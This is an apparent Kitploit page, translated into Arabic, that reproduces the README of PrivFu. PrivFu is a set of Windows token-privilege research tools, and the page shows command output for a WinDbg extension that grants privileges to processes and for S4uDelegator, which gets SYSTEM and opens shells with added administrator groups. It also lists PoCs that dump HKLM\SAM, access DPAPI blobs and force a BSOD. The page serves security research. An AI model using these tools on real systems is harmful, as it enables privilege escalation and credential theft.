Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PrivFu — إضافة WinDbg في وضع النواة وPoCs للتحقيق في امتيازات التوكن. | Kitploit
أدوات/GitHubGitHub/daem0nc0re/privfu
تصعيد الامتيازاتالاستغلالما بعد الاستغلال
GitHubdaem0nc0re/privfu

PrivFu

إضافة WinDbg في وضع النواة وPoCs للتحقيق في امتيازات التوكن.

عرض المستودع
9451295منذ 2 أيامتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PrivFu

ملحق WinDbg في وضع النواة وأمثلة (PoCs) لاختبار كيفية عمل صلاحيات الرموز المميزة.

توجد مستودعات ومقالات بارزة حول إساءة استخدام صلاحيات الرموز المميزة مثل Grzegorz Tworek و Priv2Admin. تهدف الأكواد في هذا المستودع إلى المساعدة في التحقيق في كيفية عمل صلاحيات الرموز المميزة.

جدول المحتويات

  • PrivFu
    • ArtsOfGetSystem
    • KernelWritePoCs
    • PrivEditor
      • getps Command
      • getpriv Command
      • addpriv Command
      • rmpriv Command
      • enablepriv Command
      • disablepriv Command
      • enableall Command
      • disableall Command
    • PrivilegedOperations
    • S4uDelegator
    • SwitchPriv
    • TokenDump
    • TokenAssignor
    • TrustExec
    • UserRightsUtil
    • المراجع
    • شكر وتقدير

ArtsOfGetSystem

العودة إلى الأعلى

المشروع

يغطي هذا المشروع كيفية الحصول على صلاحيات النظام من شل ذي مستوى تكامل عالٍ. انظر README.md للتفاصيل.

KernelWritePoCs

العودة إلى الأعلى

المشروع

الغرض من هذا المشروع هو التحقيق في كيفية إساءة استخدام المهاجمين لثغرات الكتابة العشوائية في النواة. جميع الأمثلة (PoCs) مكتوبة لـ HackSys Extreme Vulnerable Driver. تقوم معظم هذه الأمثلة بترقية الصلاحيات إلى مستوى تكامل SYSTEM من خلال إساءة استخدام ثغرة الكتابة العشوائية في النواة وصلاحيات الرموز المميزة. تم اختبارها على Windows 10 الإصدار 1809/1903، لكن من الناحية النظرية يجب أن تعمل على معظم إصدارات Windows 10:

PrivEditor

العودة إلى الأعلى

المشروع

تحذير

في بعض البيئات، لا يعمل إصدار التصحيح (Debug). يفضل استخدام إصدار الإصدار (Release).

PrivEditor هو ملحق WinDbg في وضع النواة لتعديل صلاحيات الرمز المميز لعملية معينة. يجعل هذا الملحق من السهل تكوين صلاحية الرمز المميز التي تريد التحقيق فيها:``` 0: kd> .load C:\dev\PrivEditor\x64\Release\PrivEditor.dll

PrivEditor - Kernel Mode WinDbg extension for token privilege edit.

Commands : + !getps : List processes in target system. + !getpriv : List privileges of a process. + !addpriv : Add privilege(s) to a process. + !rmpriv : Remove privilege(s) from a process. + !enablepriv : Enable privilege(s) of a process. + !disablepriv : Disable privilege(s) of a process. + !enableall : Enable all privileges available to a process. + !disableall : Disable all privileges available to a process.

[*] To see command help, execute "! help" or "! /?".

root@kitploit:~
### أمر getps
يستخدم هذا الأمر لسرد العمليات في نظامك الهدف:```
0: kd> !getps /?

!getps - List processes in target system.

Usage : !getps [Process Name]

    Process Name : (OPTIONAL) Specifies filter string for process name.

إذا قمت بتنفيذ هذا الأمر بدون أي وسائط، فإن هذا الأمر يقوم بإدراج جميع العمليات في نظامك المستهدف كما يلي:``` 0: kd> !getps

root@kitploit:~
 PID        nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name

======== =================== ======================== ============ 0 0xfffff80581233630 0x0000000000000000 Idle 4 0xffffd60fec068380 0xffffaf00cec07a40 System 68 0xffffd60ff1780480 0xffffaf00d3b290a0 svchost.exe 88 0xffffd60fec0db080 0xffffaf00cec0d080 Registry 324 0xffffd60fef342040 0xffffaf00d0416080 smss.exe 348 0xffffd60ff052f100 0xffffaf00d25d30a0 dwm.exe 408 0xffffd60feca8e140 0xffffaf00d21bd930 csrss.exe 480 0xffffd60ff05a8340 0xffffaf00d2568670 svchost.exe 484 0xffffd60fefcd60c0 0xffffaf00d06430e0 wininit.exe 500 0xffffd60fefd130c0 0xffffaf00d23100a0 csrss.exe 580 0xffffd60fefdc0080 0xffffaf00d2266630 winlogon.exe

--snip--

root@kitploit:~
إذا كنت ترغب في معرفة عمليات محددة، قم بتعيين مرشح النص كما يلي.
يعمل المرشح مع المطابقة الأمامية وغير حساس لحالة الأحرف:```
0: kd> !getps micro

     PID        nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name
======== =================== ======================== ============
    4568 0xffffd60f`f14ed080      0xffffaf00`d3db60a0 MicrosoftEdge.exe
    4884 0xffffd60f`f1647080      0xffffaf00`d3fc17b0 MicrosoftEdgeCP.exe
    4892 0xffffd60f`f1685080      0xffffaf00`d3fc07b0 MicrosoftEdgeSH.exe

أمر getpriv

يستخدم هذا الأمر لعرض صلاحيات الرمز المميز لعملية محددة:``` 0: kd> !getpriv /?

!getpriv - List privileges of a process.

Usage : !getpriv

root@kitploit:~
PID : Specifies target process ID.
root@kitploit:~
لاستخدام هذا الأمر، يجب عليك تعيين معرف العملية المستهدفة بتنسيق عشري كما يلي:```
0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

أمر addpriv

هذا الأمر يهدف إلى إضافة امتيازات token إلى عملية محددة:``` 0: kd> !addpriv /?

!addpriv - Add privilege(s) to a process.

Usage : !addpriv

root@kitploit:~
PID       : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

    + CreateToken                    : SeCreateTokenPrivilege.
    + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
    + LockMemory                     : SeLockMemoryPrivilege.
    + IncreaseQuota                  : SeIncreaseQuotaPrivilege.
    + MachineAccount                 : SeMachineAccountPrivilege.
    + Tcb                            : SeTcbPrivilege.
    + Security                       : SeSecurityPrivilege.
    + TakeOwnership                  : SeTakeOwnershipPrivilege.
    + LoadDriver                     : SeLoadDriverPrivilege.
    + SystemProfile                  : SeSystemProfilePrivilege.
    + Systemtime                     : SeSystemtimePrivilege.
    + ProfileSingleProcess           : SeProfileSingleProcessPrivilege.
    + IncreaseBasePriority           : SeIncreaseBasePriorityPrivilege.
    + CreatePagefile                 : SeCreatePagefilePrivilege.
    + CreatePermanent                : SeCreatePermanentPrivilege.
    + Backup                         : SeBackupPrivilege.
    + Restore                        : SeRestorePrivilege.
    + Shutdown                       : SeShutdownPrivilege.
    + Debug                          : SeDebugPrivilege.
    + Audit                          : SeAuditPrivilege.
    + SystemEnvironment              : SeSystemEnvironmentPrivilege.
    + ChangeNotify                   : SeChangeNotifyPrivilege.
    + RemoteShutdown                 : SeRemoteShutdownPrivilege.
    + Undock                         : SeUndockPrivilege.
    + SyncAgent                      : SeSyncAgentPrivilege.
    + EnableDelegation               : SeEnableDelegationPrivilege.
    + ManageVolume                   : SeManageVolumePrivilege.
    + Impersonate                    : SeImpersonatePrivilege.
    + CreateGlobal                   : SeCreateGlobalPrivilege.
    + TrustedCredManAccess           : SeTrustedCredManAccessPrivilege.
    + Relabel                        : SeRelabelPrivilege.
    + IncreaseWorkingSet             : SeIncreaseWorkingSetPrivilege.
    + TimeZone                       : SeTimeZonePrivilege.
    + CreateSymbolicLink             : SeCreateSymbolicLinkPrivilege.
    + DelegateSessionUserImpersonate : SeDelegateSessionUserImpersonatePrivilege.
    + All                            : All privileges.
root@kitploit:~
على سبيل المثال، إذا كنت تريد تعيين صلاحية SeDebugPrivilege لعملية معينة، فقم بتعيين معرف العملية المستهدفة للوسيطة الأولى واختصار اسم الصلاحية `debug` كما هو مذكور في رسالة المساعدة للوسيطة الثانية على النحو التالي:```
0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

0: kd> !addpriv 5704 debug

[>] Trying to add SeDebugPrivilege.
[*] Done.

0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeDebugPrivilege                           Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

وسيطة اسم الامتياز غير حساسة لحالة الأحرف.

إذا كنت تريد إضافة جميع امتيازات الرموز مرة واحدة، فاضبط all كوسيطة اسم الامتياز:``` 0: kd> !addpriv 5704 all

[>] Trying to add all privileges. [*] Done.

0: kd> !getpriv 5704

Privilege Name State ========================================== ======== SeCreateTokenPrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled SeLockMemoryPrivilege Disabled SeIncreaseQuotaPrivilege Disabled SeMachineAccountPrivilege Disabled SeTcbPrivilege Disabled SeSecurityPrivilege Disabled

--snip--

root@kitploit:~
### أمر rmpriv
يُستخدم هذا الأمر لإزالة امتيازات (token) من عملية معينة:```
0: kd> !rmpriv /?

!rmpriv - Remove privilege(s) from a process.

Usage : !rmpriv <PID> <Privilege>

    PID       : Specifies target process ID.
    Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

        + CreateToken                    : SeCreateTokenPrivilege.
        + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
        + LockMemory                     : SeLockMemoryPrivilege.

--snip--

إذا كنت ترغب في إزالة SeChangeNotifyPrivilege، قم بتنفيذ هذا الأمر كما يلي:``` 0: kd> !getpriv 352

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] PID : 352 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d3468770

0: kd> !rmpriv 352 changenotify

[>] Trying to remove SeChangeNotifyPrivilege. [*] Done.

0: kd> !getpriv 352

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] PID : 352 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d3468770

root@kitploit:~
كما هو الحال مع الأمر `!addpriv`، يمكنك إزالة جميع امتيازات التوكن في وقت واحد عن طريق تعيين `all` كوسيطة اسم الامتياز:```
0: kd> !rmpriv 352 all

[>] Trying to remove all privileges.
[*] Done.

0: kd> !getpriv 352

Privilege Name                             State
========================================== ========

[*] PID                      : 352
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d3468770

أمر enablepriv

يستخدم هذا الأمر لتمكين امتيازات (token) لعملية معينة:``` 0: kd> !enablepriv /?

!enablepriv - Enable privilege(s) of a process.

Usage : !enablepriv

root@kitploit:~
PID       : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

    + CreateToken                    : SeCreateTokenPrivilege.
    + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
    + LockMemory                     : SeLockMemoryPrivilege.

--snip--

root@kitploit:~
الوسيطة الأولى هي لمعرف العملية، والثانية هي لاسم امتياز الرمز المميز:```
0: kd> !getpriv 1932

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 1932
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0

0: kd> !enablepriv 1932 timezone

[>] Trying to enable SeTimeZonePrivilege.
[*] Done.

0: kd> !getpriv 1932

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Enabled

[*] PID                      : 1932
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0

إذا حاولت تمكين صلاحيات لم تُضف بعد، فإن هذا الأمر يضيفها تلقائياً:``` 0: kd> !getpriv 1932

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

0: kd> !enablepriv 1932 debug

[] SeDebugPrivilege is not present. [>] Trying to add SeDebugPrivilege. [>] Trying to enable SeDebugPrivilege. [] Done.

0: kd> !getpriv 1932

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeDebugPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

root@kitploit:~
### أمر disablepriv
هذا الأمر لتعطيل امتيازات token لعملية معينة:```
0: kd> !disablepriv /?

!disablepriv - Disable privilege(s) of a process.

Usage : !disablepriv <PID> <Privilege>

    PID       : Specifies target process ID.
    Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

        + CreateToken                    : SeCreateTokenPrivilege.
        + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
        + LockMemory                     : SeLockMemoryPrivilege.

--snip--

لاستخدام هذا الأمر، قم بتعيين معرف العملية المستهدفة للوسيطة الأولى واسم صلاحية الرمز للوسيطة الثانية:``` 0: kd> !getpriv 1932

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeDebugPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

0: kd> !disablepriv 1932 debug

[>] Trying to disable SeDebugPrivilege. [*] Done.

0: kd> !getpriv 1932

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeDebugPrivilege Disabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

root@kitploit:~
### enableall الأمر
هذا الأمر لتمكين جميع token privilege(s) المتاحة لعملية معينة:```
0: kd> !enableall /?

!enableall - Enable all privileges available to a process.

Usage : !enableall <PID>

    PID       : Specifies target process ID.

يعمل كما يلي:``` 0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Disabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

0: kd> !enableall 3792

[>] Trying to enable all available privileges. [*] Done.

0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Enabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

root@kitploit:~
### أمر disableall
يُستخدم هذا الأمر لتعطيل جميع صلاحيات الرمز المميز (token privilege(s)) لعملية محددة:```
0: kd> !disableall /?

!disableall - Disable all privileges available to a process.

Usage : !disableall <PID>

    PID : Specifies target process ID.

هذا الأمر مكافئ لـ !disablepriv <PID> all. يعمل كالتالي:``` 0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Enabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

0: kd> !disableall 3792

[>] Trying to disable all available privileges. [*] Done.

0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Disabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

root@kitploit:~
## PrivilegedOperations

[العودة إلى الأعلى](#privfu)

[المشروع](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations)

هذا المشروع هو PoCs لامتيازات الرمز الحساسة مثل `SeDebugPrivilege`.
حاليًا، تم إصدار PoCs لجزء منها.

| اسم البرنامج | الوصف |
| :--- | :--- |
| [SeAuditPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeAuditPrivilegePoC) | يحاول PoC هذا إنشاء حدث (أحداث) أمني جديد باستخدام `SeAuditPrivilegePoC`. لا يتطلب `SeAuditPrivilege` مستوى تكامل عالي، ولكن يتطلب PoC هذا صلاحيات إدارية في أول تشغيل لتثبيت مصدر حدث جديد. بالإضافة إلى ذلك، لتأكيد النتيجة، قد يتطلب PoC هذا تعديل إعداد سياسة الأمان المحلية. |
| [SeBackupPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeBackupPrivilegePoC) | يحاول PoC هذا تفريغ `HKLM\SAM` باستخدام `SeBackupPrivilege`. |
| [SeCreatePagefilePrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeCreatePagefilePrivilegePoC) | يحاول PoC هذا تعيين خيار ملف الصفحة لقيم محددة باستخدام `SeCreatePagefilePrivilege`. |
| [SeCreateTokenPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeCreateTokenPrivilegePoC) | يحاول PoC هذا إنشاء رمز مميز مرتفع باستخدام `SeCreateTokenPrivilege`. |
| [SeDebugPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeDebugPrivilegePoC) | يحاول PoC هذا فتح مقبض لـ winlogon.exe باستخدام `SeDebugPrivilege`. |
| [SeLockMemoryPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeLockMemoryPrivilegePoC) | يحاول PoC هذا تخصيص منطقة ذاكرة كبيرة باستخدام `SeLockMemoryPrivilege`. |
| [SeRestorePrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeRestorePrivilegePoC) | يحاول PoC هذا كتابة ملف اختبار في `C:\Windows\System32\` باستخدام `SeRestorePrivilege`. |
| [SeSecurityPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeSecurityPrivilegePoC) | يحاول PoC هذا قراءة آخر حدث أمني باستخدام `SeSecurityPrivilege`. |
| [SeShutdownPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeShutdownPrivilegePoC) | يحاول PoC هذا التسبب في شاشة الموت الزرقاء (BSOD) باستخدام `SeShutdownPrivilege`. |
| [SeSystemEnvironmentPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeSystemEnvironmentPrivilegePoC) | يحاول PoC هذا تعداد بيئة النظام باستخدام `SeSystemEnvironmentPrivilege`. يعمل فقط على الأنظمة القائمة على UEFI. نظرًا لوظائف نظام التشغيل، لا يعمل PoC هذا على أنظمة التشغيل الأقدم من Windows 10 Build 1809. |
| [SeTakeOwnershipPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTakeOwnershipPrivilegePoC) | يحاول PoC هذا تغيير مالك `HKLM:\SYSTEM\CurrentControlSet\Services\dmwappushservice` إلى حساب المستخدم المتصل باستخدام `SeTakeOwnershipPrivilege`. |
| [SeTcbPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTcbPrivilegePoC) | يحاول PoC هذا إجراء تسجيل دخول S4U ليكون `Builtin\Backup Operators` باستخدام `SeTcbPrivilege`. |
| [SeTrustedCredManAccessPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC) | يحاول PoC هذا الوصول إلى كتلة DPAPI باستخدام `SeTrustedCredManAccessPrivilege`. |

## S4uDelegator

[العودة إلى الأعلى](#privfu)

[المشروع](https://github.com/daem0nc0re/privfu/blob/main/S4uDelegator)

هذه الأداة مخصصة لأداء تسجيل الدخول S4U باستخدام SeTcbPrivilege.
لأداء تسجيل الدخول S4U بهذه الأداة، يلزم وجود صلاحيات إدارية.```
PS C:\Tools> .\S4uDelegator.exe -h

S4uDelegator - Tool for S4U Logon.

Usage: S4uDelegator.exe [Options]

        -h, --help    : Displays this help message.
        -l, --lookup  : Flag to lookup account SID.
        -x, --execute : Flag to execute command.
        -c, --command : Specifies command to execute. Default is cmd.exe.
        -d, --domain  : Specifies domain name to lookup or S4U logon.
        -e, --extra   : Specifies group SIDs you want to add for S4U logon with comma separation.
        -n, --name    : Specifies account name to lookup or S4U logon.
        -s, --sid     : Specifies SID to lookup.

لاستخدام هذه الأداة، يجب تحديد الخيار -l أو -x. الخيار -l يستخدم للبحث عن معلومات الحساب كما يلي:``` PS C:\Tools> .\S4uDelegator.exe -l -d contoso -n "domain admins"

[] Account Name : CONTOSO\Domain Admins [] SID : S-1-5-21-3654360273-254804765-2004310818-512 [*] Account Type : Group

PS C:\Tools> .\S4uDelegator.exe -l -s S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736

[] Account Name : NT SERVICE\WinDefend [] SID : S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 [*] Account Type : WellKnownGroup

root@kitploit:~
لتنفيذ أمر مع تسجيل الدخول باستخدام S4U، قم بتعيين العلامة `-x`، وحدد اسم الحساب أو SID كما يلي.
يمكن تحديد الأمر المراد تنفيذه باستخدام الخيار `-c` (الافتراضي هو `cmd.exe`):```
PS C:\Tools> whoami /user

USER INFORMATION
----------------

User Name    SID
============ =============================================
contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105
PS C:\Tools> .\S4uDelegator.exe -x -d . -n admin

[*] S4U logon target information:
    [*] Account : CL01\admin
    [*] SID     : S-1-5-21-2659926013-4203293582-4033841475-500
    [*] UPN     : (Null)
    [*] Type    : User
[>] Trying to get SYSTEM.
[+] Got SYSTEM privileges.
[>] Trying to S4U logon.
[+] S4U logon is successful.
[>] Trying to create a token assigned process.
Microsoft Windows [Version 10.0.18362.175]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Tools>whoami /user

USER INFORMATION
----------------

User Name  SID
========== =============================================
cl01\admin S-1-5-21-2659926013-4203293582-4033841475-500

إذا كنت ترغب في إضافة معلومات مجموعة إضافية، قم بتعيين SIDs المجموعة بقيم مفصولة بفواصل باستخدام الخيار -e كما يلي:``` PS C:\Tools> whoami /user

USER INFORMATION

User Name SID ============= ============================================= contoso\david S-1-5-21-3654360273-254804765-2004310818-1104 PS C:\Tools> .\S4uDelegator.exe -x -d contoso -n jeff -e S-1-5-32-544,S-1-5-20 -c powershell

[] S4U logon target information: [] Account : CONTOSO\jeff [] SID : S-1-5-21-3654360273-254804765-2004310818-1105 [] UPN : [email protected] [] Type : User [>] Verifying extra group SID(s). [] BUILTIN\Administrators (SID : S-1-5-32-544) will be added as a group. [*] NT AUTHORITY\NETWORK SERVICE (SID : S-1-5-20) will be added as a group. [>] Trying to get SYSTEM. [+] Got SYSTEM privileges. [>] Trying to S4U logon. [+] S4U logon is successful. [>] Trying to create a token assigned process. Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Tools> whoami /user

USER INFORMATION

User Name SID ============ ============================================= contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105 PS C:\Tools> whoami /groups
GROUP INFORMATION

Group Name Type SID Attributes
====================================== ================ ============================================= ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK SERVICE Well-known group S-1-5-20 Mandatory group, Enabled by default, Enabled group CONTOSO\ServerAdmins Group S-1-5-21-3654360273-254804765-2004310818-1103 Mandatory group, Enabled by default, Enabled group Service asserted identity Well-known group S-1-18-2 Mandatory group, Enabled by default, Enabled group Mandatory Label\System Mandatory Level Label S-1-16-16384

root@kitploit:~
> __تحذير__
>
> إذا حاولت تسجيل الدخول باستخدام S4U بحساب غير مميز للجهاز الهدف، فستحصل على الخطأ `0xC0000142` (`STATUS_DLL_INIT_FAILED`) ولا يمكن تنفيذ الأمر.
> لتجنب هذه المشكلة، أضف المجموعات المميزة كمجموعات إضافية باستخدام الخيار `-e`.
> 
> بالإضافة إلى ذلك، لا يمكن تحديد بعض الحسابات كمجموعة إضافية (مثل `NT SERVICE\TrustedInstaller`) لتسجيل الدخول عبر S4U.
> إذا قمت بتعيين حسابات المجموعات هذه كمجموعة إضافية، فسيفشل تسجيل الدخول عبر S4U مع الخطأ `0x00000005` (`ERROR_ACCESS_DENIED`).

## SwitchPriv

[العودة إلى الأعلى](#privfu)

[المشروع](https://github.com/daem0nc0re/privfu/blob/main/SwitchPriv)

هذه الأداة لتمكين أو تعطيل امتيازات رمز محددة لعملية ما:```
PS C:\Dev> .\SwitchPriv.exe -h

SwitchPriv - Tool to control token privileges.

Usage: SwitchPriv.exe [Options]

        -h, --help      : Displays this help message.
        -d, --disable   : Specifies token privilege to disable or "all".
        -e, --enable    : Specifies token privilege to enable or "all".
        -f, --filter    : Specifies token privilege you want to remain.
        -i, --integrity : Specifies integrity level to set in decimal value.
        -p, --pid       : Specifies the target PID. Default specifies PPID.
        -r, --remove    : Specifies token privilege to remove or "all".
        -s, --search    : Specifies token privilege to search.
        -g, --get       : Flag to get available privileges for the target process.
        -l, --list      : Flag to list values for --integrity options.
        -S, --system    : Flag to run as "NT AUTHORITY\SYSTEM".

لسرد القيم لخيار --integrity، قم بالتنفيذ مع العلامة --list كما يلي:``` PS C:\Dev> .\SwitchPriv.exe -l

Available values for --integrity option:

root@kitploit:~
* 0 : UNTRUSTED_MANDATORY_LEVEL
* 1 : LOW_MANDATORY_LEVEL
* 2 : MEDIUM_MANDATORY_LEVEL
* 3 : MEDIUM_PLUS_MANDATORY_LEVEL
* 4 : HIGH_MANDATORY_LEVEL
* 5 : SYSTEM_MANDATORY_LEVEL
* 6 : PROTECTED_MANDATORY_LEVEL
* 7 : SECURE_MANDATORY_LEVEL

Example :

root@kitploit:~
* Down a specific process' integrity level to Low.

    PS C:\> .\SwitchPriv.exe -p 4142 -s 1

Protected and Secure level should not be available, but left for research purpose.

root@kitploit:~
يتم تحديد PID للعملية المستهدفة باستخدام الخيار `-p`.
يمكنك سرد الامتيازات المتاحة للعملية المستهدفة باستخدام العلم `-g` والخيار `-p` كما يلي:```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

